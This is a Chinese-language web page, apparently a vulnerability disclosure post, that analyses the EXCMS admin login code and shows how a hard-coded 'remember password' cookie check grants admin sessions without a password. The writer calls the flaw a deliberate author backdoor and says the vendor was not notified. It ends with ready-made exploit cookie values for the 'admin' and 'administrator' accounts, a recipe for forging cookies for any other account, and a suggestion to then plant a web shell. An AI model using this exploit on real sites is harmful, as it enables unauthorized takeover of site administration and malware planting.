在线时间:8:00-16:00
迪恩网络APP
随时随地掌握行业动态
扫描二维码
关注迪恩网络微信公众号
以下版本没测试 测试的是最新版本 在公布前几小时没有通知官方 ^_^ 哈哈 为什么说过程精彩呢? 看完就明白! 因为这个漏洞原因非一般! 同时映射出中国软件行业的悲哀!!! 经典对白 看代码 后台登录文件 adminModulesAuthIndex.php
if ( defined( "EXCMS" ) ) //在admin/index.php里有了 下面文件都是包含运行方式的 { } if ( !defined( "EXCMS_ADMIN" ) ) { exit( "Access Denied" ); } $excms_action['title'] = "登录"; //标题 $forward = $_GET['forward']; //登录后转跳的地方 $verifycode = $EXCMS_CONFIG['login_verifycode']; //验证码。。。 if ( $_POST['loginType'] != 1 && !empty( $_COOKIE['EXCMSADMIN'] ) ) //迈下伏笔了! { $defaultBoxDisplay = "none"; $BoxDisplay = ""; $remeberInfo = explode( "&", $_COOKIE['EXCMSADMIN'] ); //看到这里没? 神奇把? $remeberAdmin = $remeberInfo[0]; $remeberPwd = $remeberInfo[1]; //账号密码获取了(COOKIES方式?) 看下去将会发生的事情很惊天地! $pwdForever = strtoupper( md5( $remeberAdmin." love EXCMS forever" ) ); //这就是中国特色! 作者 你知道良心2个字什么写吗? 你知道什么叫道德吗? $remeberPwd = $remeberPwd == $pwdForever ? true : false; $loginInputDispay = $remeberPwd ? "none" : ""; $loginType = $remeberPwd ? 3 : 2; } else { $defaultBoxDisplay = ""; $BoxDisplay = "none"; $loginInputDispay = "none"; $loginType = 1; } //下面是输出登录界面的 然后是CheckLogin.php 验证登录文件 经典对白 看代码!
if ( defined( "EXCMS" ) )//index.php有了 { } if ( !defined( "EXCMS_ADMIN" ) ) { exit( "Access Denied" ); } $excms_action['loadtpl'] = true; $adminname = trim( $param['adminname'] ); $password = trim( $param['loginType'] == 2 ? $param['password1'] : $param['password'] ); $rememberPwd = $param['loginType'] == 2 ? $param['savePwd'] : $param['rememberPwd']; $forward = $param['forward']; $login_fail = true; $error = ""; //以上东西不用理 $param都是POST方式的 if ( empty( $adminname ) ) //检测账户是否为空 { $error = getlangbyname( "EMPTY_ADMINNAME" ); } else if ( $param['loginType'] != 3 && empty( $password ) ) //检测这个什么东西 可能是步骤把 是否第3步和密码是否是空 { $error = getlangbyname( "EMPTY_PASSWORD" ); } else { if ( $param['loginType'] == 3 ) { //以下内容绝非因失误做成的漏洞 以这个程序编写技术 没可能这样 可以找任何PHP高手鉴证 $remeberInfo = explode( "&", $_COOKIE['EXCMSADMIN'] ); $remeberAdmin = $remeberInfo[0]; $remeberPwd = $remeberInfo[1]; //账号密码从COOKIES里获取! $pwdForever = strtoupper( md5( $adminname." love EXCMS forever" ) ); if ( $remeberPwd == $pwdForever ) //COOKIES里的账号加密过程 比ESPCMS还简单~~ { include_once( LIB_PATH."system/Admin.class.php" ); $admin_obj = new Admin( ); $admin = $admin_obj->getByAdminname( $adminname ); //悲剧! 只验证了管理员账号 没有验证密码!!! if ( $admin ) { $admin['acl'] = $admin_obj->getAdminACL( $admin['adminid'] ); $_SESSION['admininfo'] = $admin; //获得管理员权限了!!!!!!!!! ++$_SESSION['admininfo']['logintimes']; $admin_obj->updateLastLogin( $admin['adminid'] ); include_once( LIB_PATH."auth/Auth.class.php" ); $auth = new Auth( ); $auth->checkMenu( true ); $excms_action['loadtpl'] = false; $login_fail = false; } } } else //跳过没有COKIES 下面就是真正的验证登录状态 请注意 是有验证密码的! { if ( $EXCMS['config']['login_verifycode'] ) { $param['verifycode'] = trim( $param['verifycode'] ); if ( $param['verifycode'] == "" ) { $error = getlangbyname( "EMPTY_VERIFYCODE" ); } else { include_once( LIB_PATH."util/CheckCode.class.php" ); $checkcode = new CheckCode( ); if ( !$checkcode->check( $param['verifycode'] ) ) { $error = getlangbyname( "VERIFYCODE_FAILED" ); } } } if ( empty( $error ) ) { include_once( LIB_PATH."auth/Auth.class.php" ); $auth = new Auth( ); $loginMsg = $auth->Login( $adminname, $password ); if ( $loginMsg['success'] ) { $_SESSION['admininfo'] = $loginMsg['admininfo']; ++$_SESSION['admininfo']['logintimes']; $auth->checkMenu( true ); if ( $rememberPwd == 1 ) { $pwdForever = strtoupper( md5( $adminname." love EXCMS forever" ) ); setcookie( "EXCMSADMIN", $adminname."&".$pwdForever, time( ) + 2592000 ); } else if ( $param['loginType'] != 2 && $param['rememberMe'] == 1 ) { setcookie( "EXCMSADMIN", $adminname, time( ) + 2592000 ); } $login_fail = false; $excms_action['loadtpl'] = false; } else { $error = getlangbyname( $loginMsg['message'] ); } } } } if ( !$login_fail ) { if ( empty( $forward ) || strpos( $forward, "index.php?M=Auth" ) ) { header( "Location:index.php", true ); exit( ); } header( "Location:".$forward, true ); exit( ); } $errorCls = "f"; if ( $excms_action['loadtpl'] ) { if ( !$error ) { $error = getlangbyname( "LOGIN_FAILED" ); } require( MODULES_PATH."Auth/Index.php" ); } ?> //分析完毕 最后给出EXP EXCMSADMIN=admin%26858A611C5651AC436D4450CE23A858D1; EXCMSADMIN=administrator%263E0331271F1133F9613BD49E7C4FB0CD; 第1个是admin 第2个是administrator 一般 就这2个 其他账号的话请自行结构 结构方法 setcookie( "EXCMSADMIN", md5( 账号." love EXCMS forever" ) ); 然后 strtoupper一次 就是把字母都变大写 修改COOKIES 直接进入后台 然后自定义页面 写入网马 后语 这个COOKIES“漏洞”并非是记住管理登录状态 记住管理登录的COOKIES是 SESSION ID 验证这个 所以这个漏洞100%是作者留下的后门!
|
请发表评论